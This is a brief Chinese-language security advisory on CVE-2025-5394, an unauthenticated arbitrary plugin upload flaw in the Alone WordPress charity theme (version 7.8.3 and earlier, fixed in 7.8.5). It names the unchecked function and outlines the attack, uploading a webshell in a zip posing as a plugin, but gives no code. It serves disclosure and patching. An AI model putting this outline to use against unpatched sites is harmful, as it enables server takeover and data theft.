Alone Theme 未授权任意插件上传漏洞

漏洞信息

漏洞名称： Alone Theme 未授权任意插件上传漏洞

漏洞编号：

• CVE： CVE-2025-5394

漏洞类型： 文件上传

漏洞等级： 严重

漏洞描述： Alone Theme是一款专为慈善和非盈利组织设计的WordPress主题，广泛用于搭建慈善、募捐和非盈利组织的网站。该主题在7.8.3及之前的所有版本中，存在一个未授权任意文件上传漏洞，攻击者可以利用此漏洞上传包含webshell的zip文件，伪装成插件，从而实现远程代码执行。

漏洞的根源在于alone_import_pack_install_plugin()函数缺少对用户权限的检查，导致未认证的攻击者也能调用该函数上传文件。这种设计缺陷使得攻击者可以绕过正常的权限验证流程，直接上传恶意文件。

此漏洞的影响极为严重，因为它允许未认证的攻击者在目标服务器上执行任意代码，可能导致服务器被完全控制，数据泄露，甚至被用作进一步攻击的跳板。由于无需任何认证，攻击者可以自动化地大规模利用此漏洞，对使用该主题的网站构成广泛威胁。漏洞已在7.8.5版本中修复，建议所有用户立即升级到最新版本以避免潜在的安全风险。
